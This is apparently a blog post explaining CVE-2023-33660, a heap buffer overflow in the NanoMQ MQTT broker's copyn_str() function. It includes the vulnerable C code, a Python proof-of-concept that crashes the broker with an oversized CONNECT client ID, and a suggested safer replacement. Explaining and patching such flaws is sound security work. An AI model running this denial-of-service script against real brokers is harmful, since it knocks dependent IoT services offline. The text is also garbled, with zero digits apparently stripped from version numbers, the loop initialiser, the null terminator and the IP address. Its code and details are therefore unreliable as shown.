CVE-2023-33660 - Heap Buffer Overflow in NanoMQ .17.2 Explained

Published: 2024-06
By: [YourName]

Introduction

Open-source MQTT brokers, like NanoMQ, are becoming ever more popular for lightweight IoT applications. As their use grows, so does their attractiveness as a target for attackers. In May 2023, a new vulnerability, CVE-2023-33660, was announced in NanoMQ version .17.2. This post will break down what the vulnerability is, how it works, demonstrate the problem with code snippets, and offer secure practices to avoid similar issues.

What is CVE-2023-33660?

CVE-2023-33660 is a Heap Buffer Overflow vulnerability found in the NanoMQ MQTT Broker version .17.2. The vulnerability specifically exists in the copyn_str() function in the file mqtt_parser.c. When certain MQTT packets are parsed, this function can write beyond the bounds of allocated heap memory, leading to a crash in the service. This creates an opening for Denial of Service (DoS) attacks.

References

- Exploit Database – CVE-2023-33660
- GitHub Security Advisory for NanoMQ
- NIST CVE Record

How the Vulnerability Occurs

Let's take a closer look at the code in mqtt_parser.c. The vulnerable function, copyn_str(), is used to copy data from one buffer to another while parsing MQTT packets. However, it fails to properly check the size of the destination buffer, allowing heap memory to be overwritten if the provided buffer is too small.

Vulnerable Code Example

// mqtt_parser.c (NanoMQ v.17.2)

void copyn_str(char *dest, const char *src, uint32_t len) {
    for (uint32_t i = ; i < len; i++) {
        dest[i] = src[i];
    }
    dest[len] = '\'; // Off-by-one potential if dest is not big enough
}

A key issue is that dest might not be large enough to hold len + 1 bytes (including the null terminator). If an attacker supplies a large enough length, copyn_str will write outside the bounds of the heap-allocated buffer.

How It Can Be Exploited

An attacker could craft a malicious MQTT packet with a large string field (like "client ID"), causing the broker, when parsing the packet, to call copyn_str() with an oversized len. This would overwrite heap memory, leading to a crash or potential execution of arbitrary code (though, for this bug, only DoS was demonstrated).

Proof-of-Concept Exploit

Below is a basic Python script that repeatedly connects to the NanoMQ MQTT broker and sends a malformed CONNECT packet with an oversized client ID. This triggers the overflow:

import socket

def make_malicious_connect_packet(oversize=500):
    # MQTT CONNECT fixed header
    packet = b'\x10'
    # Remaining length (varies: protocol name + version + flags + keepalive + id length + id)
    remaining_length = 10 + 2 + oversize
    # Encode remaining_length as needed
    if remaining_length < 128:
        packet += bytes([remaining_length])
    else:
        # MQTT's variable-length encoding
        packet += bytes([remaining_length % 128 | x80, remaining_length // 128])
    
    # Protocol Name
    packet += b'\x00\x04MQTT'
    # Protocol Level
    packet += b'\x04'
    # Connect Flags
    packet += b'\x02'
    # Keep Alive
    packet += b'\x00\x3c'
    # Client ID length (oversize)
    packet += oversize.to_bytes(2, 'big')
    # Client ID (big junk)
    packet += b'A' * oversize
    return packet

def attack(broker_ip, broker_port=1883):
    s = socket.socket()
    s.connect((broker_ip, broker_port))
    packet = make_malicious_connect_packet()
    s.send(packet)
    s.close()

if __name__ == "__main__":
    broker = '127...1' # Change to your NanoMQ IP
    attack(broker)

Warning:
Do not run this script against servers you do not own or have permission to test. This will crash the NanoMQ broker.

Impact

If exploited, the NanoMQ service crashes. That means IoT devices, applications, or services depending on this broker will lose connectivity until the service is restarted. While there is no known remote code execution as of now, heap buffer overflows can sometimes be leveraged further.

Remediation & Recommendations

NanoMQ developers quickly addressed this. Patch to the latest NanoMQ version (.17.3 or newer).
Check their releases and advisory notes for specifics.

If you must stay on an older version, here's a safe substitute for copyn_str()

void copyn_str_secure(char *dest, const char *src, uint32_t dest_size, uint32_t len) {
    if(dest_size <= len) len = dest_size - 1;
    memcpy(dest, src, len);
    dest[len] = '\';
}

And always validate incoming data lengths before processing.

Conclusion

CVE-2023-33660 is a classic example of poor bounds checking leading to a heap buffer overflow. The vulnerability is easy to trigger, simple to exploit, and can have significant impact with minimal effort. Keep your NanoMQ deployment up to date, review third-party code for safe memory practices, and consider using automated tools to check for these patterns.

Timeline

Published on: 06/08/2023 12:15:00 UTC
Last modified on: 06/14/2023 17:45:00 UTC

CVE-2023-33660 - Heap Buffer Overflow in NanoMQ .17.2 Explained – Exploit Details & Remediation